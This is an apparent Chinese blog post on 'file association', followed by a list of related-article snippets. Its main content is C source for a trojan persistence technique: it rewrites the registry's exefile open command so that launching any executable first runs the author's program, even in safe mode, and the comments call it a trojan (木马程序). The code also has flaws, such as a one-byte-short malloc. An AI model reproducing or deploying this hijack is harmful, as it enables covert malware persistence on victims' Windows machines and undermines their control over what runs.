文件关联

原创 2006年05月28日 15:45:00
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='//')
strncat(temp,"////",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"/"变为"//"
char str[]="/"%1/" %*"; 
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," /"%1/" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
 
return 0;
}

C# 实现文件关联

转摘地址:http://blog.csdn.net/snaill/article/details/5073853 和其他语言一样,C#实现文件关联同样需要直接操作注册表,即按规则分别设置...
  • wang463584281
  • wang463584281
  • 2014年11月05日 12:26
  • 1121

实现MATLAB2016a和M文件关联

新安装MATLAB2016a之后,发现MATLAB没有和m文件关联 每次打开m文件后都会重新打开一次MATLAB主程序后来发现这样的办法,亲测有效 下载压缩包:http://pan.baidu.c...
  • qq_22186119
  • qq_22186119
  • 2016年04月04日 10:40
  • 16801

Android 文件关联详解

首先说一下,Android Manifest.xml文件 :4 t% |. w" }, l1 p- m: V+ u0 B& H  D
  • abin_gha
  • abin_gha
  • 2011年03月11日 15:28
  • 4063

如何通过代码设置文件关联功能(Mac OSX 和Win)

一、需求来源 1.比如我想在右键单击后缀为.abc的文件时,open with那个列表里面能选择我的app。 2.本来存在某个应用已经关联该类型的文件,现需要修改成以我的应用为优先级的关联设置。 ...
  • Esonpo
  • Esonpo
  • 2013年05月13日 14:58
  • 2416

利用注册表修改文件关联

最近在看注册表方面的东西。正巧醒哥回来了,让我做个修改文件关联的程序。具体用什么方法实现,不用管,只要能实现就可以了。 那就用注册表来实现好了。 那么利用注册表的话有几种方法可以修改关联方式呢? ...
  • gaoxin1076
  • gaoxin1076
  • 2012年05月08日 22:18
  • 9011

windows注册表文件关联机制

windows通过注册表项来关联特殊后缀的文件以及启动他们的程序。有几个地方会有关联信息: 1、HKEY_LOCAL_MACHINE\Software\Classes:该注册表项包括适用所有用户的默认...
  • erikaIT
  • erikaIT
  • 2017年05月11日 16:17
  • 667

Linux下更改文件关联方式

一般可以通过“右键->属性->打开方式” 更改,但我在ubuntu下只有root才能这么做,普通用户不行。找了一下,发现这个方法可以:编辑如下两个文件,前者记录default打开方式;后者记录可选打开...
  • shawnrong
  • shawnrong
  • 2007年11月13日 16:09
  • 946

c++ 文件关联实现

来自:http://dev.firnow.com/course/3_program/c++/cppjs/2008429/112038.html 文件关联,提供了两个简单的函数,使用方便。 #incl...
  • gaofang2009
  • gaofang2009
  • 2011年04月06日 09:34
  • 1641

Ubuntu使用小技巧--设置文件关联方式

设置文件关联方式
  • Sherry_Rui
  • Sherry_Rui
  • 2014年06月23日 15:02
  • 716

MFC程序与文件关联

之前转载过一篇这方面的文章:VC中建立程序的关联文件【http://www.mydreamsky.tk/?p=906】,但发现用上面的方法,虽然能建立程序与文件的关联,但一旦我们的程序放在另一个目录了...
  • viviwen123
  • viviwen123
  • 2013年01月04日 19:10
  • 1030
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:文件关联
举报原因:
原因补充:

(最多只允许输入30个字)